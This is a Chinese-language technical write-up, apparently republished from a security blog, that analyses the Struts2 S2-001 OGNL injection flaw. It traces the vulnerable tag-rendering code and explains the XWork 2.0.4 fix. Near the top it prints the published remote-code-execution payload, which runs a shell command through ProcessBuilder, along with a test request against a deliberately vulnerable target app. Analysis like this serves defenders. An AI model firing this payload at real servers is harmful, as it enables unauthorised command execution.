Quantcast
Channel: CodeSection,代码区,网络安全 - CodeSec
Viewing all articles
Browse latest Browse all 12749

S2-001 漏洞详细分析

0
0
0x00 前言

阅读本文需要具备的知识:

熟悉J2EE开发, 主要是JSP开发 了解Struts2框架执行流程 了解Ognl表达式

如果你不具备这些知识, 阅读这篇文章将会是一场艰难的旅行.

0x01 漏洞复现

影响漏洞版本:

WebWork 2.1 (with altSyntax enabled), WebWork 2.2.0 - WebWork 2.2.5, Struts 2.0.0 - Struts 2.0.8

漏洞靶机代码: (下方通过该代码进行分析, 务必下载本地对比运行)

https://github.com/dean2021/java_security_book/tree/master/Struts2/s2_001

公布的POC:

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"id"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

精简版POC:

%{1+1}

这里我们就用这个最精简的POC,靶机代码在本地运行成功后,我们发送请求:

POST /login.action HTTP/1.1 Host: localhost:8080 Content-Length: 19 Cache-Control: max-age=0 Origin: http://localhost:8080 Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8 Referer: http://localhost:8080/login.action Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,pt;q=0.7,da;q=0.6 Cookie: JSESSIONID=1478B902172E01647C8DDD6E62390FD1 Connection: close // password=%{1+1} password=%25%7B1%2B1%7D

HTTP响应的内容:

HTTP/1.1 200 Content-Type: text/html;charset=ISO-8859-1 Date: Tue, 18 Dec 2018 09:21:30 GMT Connection: close Content-Length: 1222 // ... 省略 <form id="login" name="login" onsubmit="return true;" action="/login.action" method="post"> <table class="wwFormTable"> <tr> <td class="tdLabel"> <label for="login_password" class="label">password:</label></td> <td> <input type="text" name="password" value="2" id="login_password" /></td> </tr> <tr> <td colspan="2"> <div align="right"> <input type="submit" id="login_0" value="Submit" /></div> </td> </tr> </table> </form>

注意到input的value属性值为2, 证明成功执行了我们的OGNL表达式%{1+1}, 下面我们开始详细分析。

0x02 漏洞分析

通过官网安全公告,我们大概知道问题是出在textfield自定义标签里,如下是我们的index.jsp部分代码:

<%@taglib prefix="s" uri="/struts-tags" %> <s:form action="login"> <s:textfield label="password" name="password"/> <s:submit/> </s:form>

从代码里我们可以看得到,struts2使用了自定义标签库,也就是/struts-tags, 通过阅读 struts2-core-2.0.8.jar!/META-INF/struts-tags.tld 文件,我们得知这个textfield标签实现类是org.apache.struts2.views.jsp.ui.TextFieldTag

public class TextFieldTag extends AbstractUITag { private static final long serialVersionUID = 5811285953670562288L; protected String maxlength; protected String readonly; protected String size; public TextFieldTag() { } public Component getBean(ValueStack stack, HttpServletRequest req, HttpServletResponse res) { return new TextField(stack, req, res); } protected void populateParams() { super.populateParams(); TextField textField = (TextField)this.component; textField.setMaxlength(this.maxlength); textField.setReadonly(this.readonly); textField.setSize(this.size); } /** @deprecated */ public void setMaxLength(String maxlength) { this.maxlength = maxlength; } public void setMaxlength(String maxlength) { this.maxlength = maxlength; } public void setReadonly(String readonly) { this.readonly = readonly; } public void setSize(String size) { this.size = size; } }

了解jsp自定义标签的同学应该知道,这时候我们需要找的是doStartTag方法,因为解析标签是从这个方法开始,具体可以参考[2], 通过在TextFieldTag类的ComponentTagSupport父类我们找到doStartTag方法,

public abstract class ComponentTagSupport extends StrutsBodyTagSupport { protected Component component; public ComponentTagSupport() { } public abstract Component getBean(ValueStack var1, HttpServletRequest var2, HttpServletResponse var3); public int doEndTag() throws JspException { this.component.end(this.pageContext.getOut(), this.getBody()); this.component = null; return 6; } public int doStartTag() throws JspException { this.component = this.getBean(this.getStack(), (HttpServletRequest)this.pageContext.getRequest(), (HttpServletResponse)this.pageContext.getResponse()); Container container = Dispatcher.getInstance().getContainer(); container.inject(this.component); this.populateParams(); boolean evalBody = this.component.start(this.pageContext.getOut()); if (evalBody) { return this.component.usesBody() ? 2 : 1; } else { return 0; } } protected void populateParams() { this.component.setId(this.id); } public Component getComponent() { return this.component; } }

通过对doStartTag方法分析,得知该方法仅是对标签的部分属性初始化,并不是漏洞成因。 所以我们继续分析,当标签结束后,调用doEndTag方法, 继续跟进

public int doEndTag() throws JspException { this.component.end(this.pageContext.getOut(), this.getBody()); this.component = null; return 6; }

这里的end方法是定义在UIbean类中, 跟进end方法实现

public abstract class UIBean extends Component { public boolean end(Writer writer, String body) { // 我们跟进这个方法的实现 this.evaluateParams(); try { super.end(writer, body, false); this.mergeTemplate(writer, this.buildTemplateName(this.template, this.getDefaultTemplate())); } catch (Exception var7) { LOG.error("error when rendering", var7); } finally { this.popComponentStack(); } return false; }

跟进this.evaluateParams方法的实现

public void evaluateParams() { // 省略n行代码 if (...){ // 这个password字符串是解析textfield的name属性得出, 由于代码较多,这里伪代码代替 String name = "password" // 此处是由struts.tag.altSyntax来配置,该属性指定是否允许在Struts2标签中使用OGNL表达式语法 if (this.altSyntax()) { // 将textfield标签的name属性进行拼装, 也就是 exp = "%{password}" expr = "%{" + name + "}"; } // UIBaean.java 306行, 跟进this.findValue方法 this.addParameter("nameValue", this.findValue(expr, valueClazz)); } // 省略n行代码

跟进 this.findValue(this.value, valueClazz)); 函数实现:

public class Component { // expr = "%{password}" protected Object findValue(String expr, Class toType) { if (this.altSyntax() && toType == String.class) { // 跟进该方法 return TextParseUtil.translateVariables('%', expr, this.stack); } else { if (this.altSyntax() && expr.startsWith("%{") && expr.endsWith("}")) { expr = expr.substring(2, expr.length() - 1); } return this.getStack().findValue(expr, toType); } }

跟进 TextParseUtil.translateVariables(‘%’, expr, this.stack); 实现:

public class TextParseUtil { public static String translateVariables(char open, String expression, ValueStack stack) { return translateVariables(open, expression, stack, String.class, null).toString(); } public static Object translateVariables(char open, String expression, ValueStack stack, Class asType, ParsedValueEvaluator evaluator) { // deal with the "pure" expressions first! //expression = expression.trim(); Object result = expression; // 循环执行 while (true) { // expression= %{password} // 这段代码就是剔除${}, 保留password int start = expression.indexOf(open + "{"); int length = expression.length(); int x = start + 2; int end; char c; int count = 1; while (start != -1 && x < length && count != 0) { c = expression.charAt(x++); if (c == '{') { count++; } else if (c == '}') { count--; } } end = x - 1; if ((start != -1) && (end != -1) && (count == 0)) { String var = expression.substring(start + 2, end); // 第一次循环时,var是 password,执行返回结果是%{1+1}, // 第二次循环时,var是 1+1, 然后成功执行我们的恶意ognl表达式 Object o = stack.findValue(var, asType); if (evaluator != null) { o = evaluator.evaluate(o); } String left = expression.substring(0, start); String right = expression.substring(end + 1); if (o != null) { if (TextUtils.stringSet(left)) { result = left + o; } else { result = o; } if (TextUtils.stringSet(right)) { result = result + right; } expression = left + o + right; } else { // the variable doesn't exist, so don't display anything result = left + right; expression = left + right; } } else { break; } } return XWorkConverter.getInstance().convertValue(stack.getContext(), result, asType); }

如注释中所标注,最终在调用OgnlValueStack.findValue()执行了我们的Ognl表达式 1+1 , 对OgnlValueStack不了解的同学,可以参考[3].

好了,分析完成, 漏洞造成原因是由于递归循环,将参数值当做ognl表达式进行执行,从而造成漏洞.

0x03 漏洞细节 1. 为什么执行%{password}表达式,能拿到我们请求的参数值%{1+1}?

该参数值是在ParametersInterceptor.java文件中进行设置的,熟悉Struts2框架的同学会Interceptor应该不陌生,我们看一下这个参数拦截器的实现代码:

public class ParametersInterceptor extends MethodFilterInterceptor { public String doIntercept(ActionInvocation invocation) throws Exception { // 获取当前请求的action, 也就是LoginAction Object action = invocation.getAction(); if (!(action instanceof NoParameters)) { ActionContext ac = invocation.getInvocationContext(); // 获取当前请求的action的参数, 也就是我们的 password = %{1+1} final Map parameters = ac.getParameters(); // ... 省略n行 if (parameters != null) { Map contextMap = ac.getContextMap(); try { // ... 省略n行 ValueStack stack = ac.getValueStack(); // 将参数丢仅stack, 跟进代码实现... setParameters(action, stack, parameters); } finally { // ... } } } return invocation.invoke(); } protected void setParameters(Object action, ValueStack stack, final Map parameters) { ParameterNameAware parameterNameAware = (action instanceof ParameterNameAware) ? (ParameterNameAware) action : null; Map params = null; if( ordered ) { params = new TreeMap(getOrderedComparator()); params.putAll(parameters); } else { params = new TreeMap(parameters); } for (Iterator iterator = params.entrySet().iterator(); iterator.hasNext();) { Map.Entry entry = (Map.Entry) iterator.next(); String name = entry.getKey().toString(); // ... 省略n行 if (acceptableName) { // 拿到我们的的%{1+1} 也就是我们的恶意ognl表达式 Object value = entry.getValue(); try { // 将我们的参数存放到Ognl Stack中, // passsword=%{1+1} stack.setValue(name, value); } catch (RuntimeException e) { // ... } } } } }

当你发送请求时,这个拦截器会将参数名及参数值存放到Stack中, 这就是为什么执行%{password}能够拿到我们的${1+1}, 所以漏洞触发必须有的流程:

struts.tag.altSyntax配置为true,默认也就是true. 能够控制请求参数,及被请求的action中能够解析请求参数,也就是定义了对应的变量及对应的setter方法,如 private String password; , 不然ParametersInterceptor拦截器里获取不到参数. 跳转的jsp页面需要有个textfield标签, 及标签name属性和参数的key对应. 2. 为什么网上总说从在说Struts2 Validation(表单验证)触发漏洞?

我们上方漏洞触发的必须流程来看,在struts2框架中配置了Validation,如果表单验证失败,必然会跳转到表单提交页面,正好符合我们流程3, 也就是表单提交页面存在textfield标签, 从而触发了漏洞。(一般登录注册处容易出现这样的场景)

0x04 总结

Strtus2框架在开启struts.tag.altSyntax的情况下, 由于Struts2框架将请求参数值当做Ognl表达式执行,从而导致任意代码执行.

0x05 修复方案分析

官方建议Struts升级至2.0.9版本或XWork升级2.0.4版本,上方我们进行分析时,已经得知问题是出在xwork框架中,所以升级xwork版本即可。

我们分析一下修复代码:

struts2 2.0.8源码下载 struts2 2.0.9源码下载

通过分析struts 2.0.9的源码,我们从pom.xml文件中得知,其依赖的xwork包升级为2.0.4 修复了漏洞, 如下:

<dependency> <groupId>com.opensymphony</groupId> <artifactId>xwork</artifactId> <version>2.0.4</version> </dependency>

我们分析一下xwork2.0.4是怎么修复的漏洞

XWork 2.0.3 源码下载

XWork 2.0.4 源码下载

TIPS: jar文件解压命令: jar xvf xxx.jar

上方我们分析过程中也是TextParseUtil这个类的translateVariables方法中执行了OGNL表达式,通过代码比较,我们发现2.0.4对TextParseUtil.java文件进行了修改,下方我们看一下2.0.4的代码:

public class TextParseUtil { private static final int MAX_RECURSION = 1; public static Object translateVariables(char open, String expression, ValueStack stack, Class asType, ParsedValueEvaluator evaluator) { // 加了一个MAX_RECURSION常量 return translateVariables(open, expression, stack, asType, evaluator, MAX_RECURSION); } /** * Converted object from variable translation. * * @param open * @param expression * @param stack * @param asType * @param evaluator * @return Converted object from variable translation. */ public static Object translateVariables(char open, String expression, ValueStack stack, Class asType, ParsedValueEvaluator evaluator, int maxLoopCount) { // deal with the "pure" expressions first! //expression = expression.trim(); Object result = expression; int loopCount = 1; int pos = 0; while (true) { // 此时expression= %{name} int start = expression.indexOf(open + "{", pos); if (start == -1) { pos = 0; loopCount++; start = expression.indexOf(open + "{"); } // 增加这段代码最为关键,由于我们已知maxLoopCount=1, 第二次循环时loopCount=2,则break跳出当前循环,从而避免了恶意ognl执行 // 其实下方注释已经写得很清楚了 if (loopCount > maxLoopCount ) { // translateVariables prevent infinite loop / expression recursive evaluation // 译: 阻止无限循环,导致表达式递归计算 break; } int length = expression.length(); int x = start + 2; int end; char c; int count = 1; while (start != -1 && x < length && count != 0) { c = expression.charAt(x++); if (c == '{') { count++; } else if (c == '}') { count--; } } end = x - 1; if ((start != -1) && (end != -1) && (count == 0)) { String var = expression.substring(start + 2, end); Object o = stack.findValue(var, asType); if (evaluator != null) { o = evaluator.evaluate(o); } String left = expression.substring(0, start); String right = expression.substring(end + 1); String middle = null; if (o != null) { middle = o.toString(); if (!TextUtils.stringSet(left)) { result = o; } else { result = left + middle; } if (TextUtils.stringSet(right)) { result = result + right; } expression = left + middle + right; } else { // the variable doesn't exist, so don't display anything result = left + right; expression = left + right; } pos = (left != null && left.length() > 0 ? left.length() - 1: 0) + (middle != null && middle.length() > 0 ? middle.length() - 1: 0) + 1; pos = Math.max(pos, 1); } else { break; } } return XWorkConverter.getInstance().convertValue(stack.getContext(), result, asType); }

通过阅读代码,我们已经知道Struts2官方修复的方式是增加了一个MAX_RECURSION=1常量,判断循环次数,从而避免递归循环导致ognl表达式执行.

0x06 引用

Viewing all articles
Browse latest Browse all 12749